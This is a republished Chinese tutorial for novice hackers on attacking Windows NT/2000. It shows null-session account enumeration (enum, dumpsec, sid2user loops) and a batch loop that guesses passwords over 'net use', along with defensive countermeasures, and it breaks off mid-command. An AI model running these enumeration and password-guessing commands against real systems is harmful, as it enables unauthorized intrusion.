分享
 
 
 

战术攻防思维撷粹

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

引子:

网络以独特的“思维模式”蔓延了当今整个人类文明的精粹。数字经济、数字生活乃至数字生命渐渐扩充网络方式,无处不在的展示着社会的进阶发展和生命意识的高度集成进化。然而,在这片深度憧憬的虚拟国度里也同样存在集权与垄断的欲望,自由和不羁的反叛,于是在这迷幻世界里也同样存在着荷马史诗般伟大的英雄传说和正邪争霸的传奇故事。

伟大的战役总离不开智慧的较量,攻防的战术思维杂糅着高科技的网络时代战场,我们的周围将不在有硝烟,暗藏在电子信号后面的将是兵不血刃的搏斗,胜利者获取的是电子烟雾般的光环,而失败者却得到了更多的经验。每当我获得这些并不为多数人所知的珍贵礼物,会为人类智慧所散发的特殊魅力而拍案叫绝。于是,我有了写出真知的义务,也因此有了这篇战术攻防思维的诞生。我的脑海里回荡着圣经里这样一句:“你应当了解真相,真相会使你自由”。

本篇所讲述入侵/防御方法是一些基础而又有趣的实验,其目的是面向初识黑客世界的好奇者,因此难度适中,既有可操作性。

*NT/W2K,痛并快乐着的世界

似乎微软继续存在着,视窗继续发挥着GUI的美妙,那么NT/W2K入侵的话题就永远没有终点。很多时候,许多人问我入侵这些机械似系统的HOWTO。惯用的端口扫描、空连接、密码猜解各种形形色色的攻击工具似乎满足了这些初级的要求。但围绕如何获取帐号的攻击中更精湛、更有趣味的应该是基于原理下的试探和侵蚀。

对于NT/W2K大部分攻击中,获得用户名常常是个焦点。假如获得用户名后,那么大约70%的精力将花费在密码的破解上,而由于某些系统管理员的懒散行为,密码设置的极度简单(试想密码就是用户名本身的情况),那么我们不费什么力气就拿到开启系统大门的钥匙。

【139/445端口问题】

众所周知,139/445端口的开放使得我们可以查询NetBIOS名字表,这些表中不仅存放网络共享资源列表,它也藏匿着重要的用户信息。

Razor小组集成了NetBIOS查询特征到一个综合工具:enum。可以从razor.bindview.com/tools/desc/enum_readme.html查询到有关enum的使用说明和下载包。Enum能自动建立空会话,攻击者可以得到可以得到很有用的帐户信息和密码策略设置。

C:\toolkitenum -U -d -P -L -c 192.168.1.151

server: 192.168.1.151

setting up session... success.

password policy:

min length: none

min age: none

max age: 42 days

lockout threshold: none

……

names:

netbios: Labmachine

domain: Workshop

……

getting user list (pass 1, index 0)... success, got 9.

Administrator ()

attributes:

cifctm ()

attributes:

downsoft attributes:

ftpuser attributes:

Guest ()

attributes: disabled no_passwd

……

以上结果,显示了系统的某些危险漏洞,诸如密码无过期设置,无最短密码设置等,而且也罗列了系统的用户名录。除了枚举用户名外,enum提供远程猜测密码的功能,使用本地字典文件进行一个用户的密码猜:

C:\toolkitenum -D -u -f

+应对策略

防止用户信息出现NetBIOS名字表,可以通过控制面板停止系统上Alerter和Messenger服务。

作为视窗系统的缔造者- -微软提供NT/W2K资源工具箱(简称为NTRK或者W2RK)容纳了多种强力的管理工具,从Perl脚本语言的实现、各种通用Unix的远程管理工具和网络管理工具,给我们带来了有益的维护检测手段。与此同时,这样的工具具有着双面性,黑帽们(Blackhat)利用这些工具,同样可以轻松进行肆意的攻击。

使用NTRK提供的dumpsec、usestat、showgrps、local和global等实用工具,我们可以得到丰富的用户信息。这里必须讲解下dumpsec,因为它可以得到用户及组、NT系统策略和用户权限。以下例子显示了dumpsec获取远程计算机用户信息:

C:\toolkitdumpsec /computer==\\192.168.1.1 /rpt=usersonly /saveas=tsv /outfile=c:\users.txt

C:\type c:\users.txt

27/2/2003 4:30 PM ? Somarsoft DumpSec - \\192.168.1.1

UserName FullName Comment

Hg he gao manager

Lb li bin account

Mjt ma jitao assistant

Papa pu ying saler

……

(注:Somarsoft推出了DumpSec的GUI版本,功能更为强大。)

+应对策略

阻塞空会话,限制注册表RestrictAnonymous键值(NT设REG_DWORD 1,W2K设置为2),使用NTRK/W2RK的实用工具reg.exe修改如下(以NT为例):

C:\toolkitreg add HKLM\SYSTEM\CurrentControlet\Control\LSA /v RestrictAnonymous /t REG_DWORD /d 1 /f

/v:注册表键值

/t: 数据类型

/d: 注册表键值数据

/f: 当要添加的注册表值存在时进行覆盖

帐户名探测工具中,最为杰出的莫过于Evgenii Rudnyi的sid2user和user2side。它们既可通过用户名查询系统SID,也同从SID查询用户。SID即安全表示符,是创建帐户时生成的唯一标识符。Windows NT 使用 SID,独立于用户名之外来跟踪帐户。(关于SID的结构论述,可以参阅Mark Russinovich于1999年2月的文章http://www.winnetmag.com/Articles/Index.cfm?ArticleID=4795)。使用user2sid 得到其中一域用户SID的话,就可以利用SID号查询相应的用户名。这里,我对一台W2K机器进行了查询实验:

C:\toolkituser2sid \\192.168.1.2 “testaccount”

S-1-5-21-1960408961-789336058-1343024091-509

Number of subauthorities is 5

Domain is LABDOMAIN

Length of SID in memory is 28 bytes

Type of SID is SidTypeUser

实验中,我们看到机器的SID格式表达式为:S-R-X -Y(1)-Y(2)-……-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这里为1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组,我们也称之为相关标识符(RID)。也就是说,帐户的区别在于RID,这里的RID值为509。而Administrator用户的RID总为500,Guest的RID总是501。根据这些知识和已得到的SID,就可以查询出Administrator帐号名(即使管理员帐号名被修改):

C:\toolkitsid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 500

Name is sysadmin

Domain is LABDOMAIN

Type of SID is SidTypeUser

从上面实验,我们可以看到系统管理员的帐户名竟然是sysadmin!

为了节省手工输入的困惑,利用这样一个脚本能提高帐户转储的效率:

C:\for /L %I IN (1000,1,1050) DO sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 %I users.txt

(注:

NT/W2K域中创建的第一个帐号所赋的RID为1000。

关于for的用法可在CMD模式下输入for /?查询。

50次循环转储RID 1000-1050用户名到users.txt文件。

)

+应对策略

只要139端口可访问,sid2user和user2sid就可以搜索出所有合法的用户帐户,这种让人心惊的偷窃方式,迫使我们不得不禁用TCP 139和445端口的访问。

值得一提的是W2K引入了目录服务的概念,于是可以使用LDAP协议通过389端口遍历目录树中所存在的用户和用户组。W2RK工具包中活动目录管理工具ldp.exe可以轻松实现这种功能。下面是ldp运行的一个截图:

通过这种方式,不仅可以浏览全部用户帐户(cn=Users),还可以查询用户更多的信息,比如SID、GUID、帐户名和密码设置类型等重要信息。因此必须对动态目录的访问权限设置限制。

【蚕食密码】

得到合法帐户,下个目标便进入到远程密码猜测的角逐中。这种游戏规则的成功应用通常是建立在系统管理的马虎和疏忽的密码管理机制之中。习惯的密码设置总是不经意的简单思维,下面的两则实验则可以让我们清楚看到自己的密码设置竟然如此脆弱,只需要简单几个循环,堡垒般的系统顷刻崩溃。

我们参照黑客界高频组合的用户/密码对。创建一个wordlist

[file:wordlist.txt]

password username

password Administrator

admin Administrator

administrator Administrator

secret Administrator

……

使用for循环进行口令Administrator口令猜解:

C:\toolkitfor /F "tokens=1,2*" %i in (wordlist.txt) do net use \\target\IPC$%i /u:%j

此脚本会分析wordlist.txt中的每一行,通过tokens=1,2*将每行中的第一个符号%i(密码)和第二个符号%j(用户名)传递给 for 程序体;程序把变量带入net use命令中。通过高频组合文件(www.securityparadigm.com/defaultpw.htm),可以意外的发现,网络中居然有大量系统的管理密码居然如此马虎了事。因此,短短几分钟内,目标已经成为囊中之物。

当然,更为高级的密码猜测,需要借助有威慑力的黑客字典文件,可以到http://www.defcon.tv/Crackers/wordlists/去下载适当的密码列表文件,来实现稍微高级一些的密码远程猜测。这里采用NetBIOS Auditing Tool(NAT,NetBIOS审核工具)进行密码破解。NAT连接目标系统后,根据预定义的用户清单和密码清单尝试密码猜解:

C:\toolkitfor /L %i IN (1,1,

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有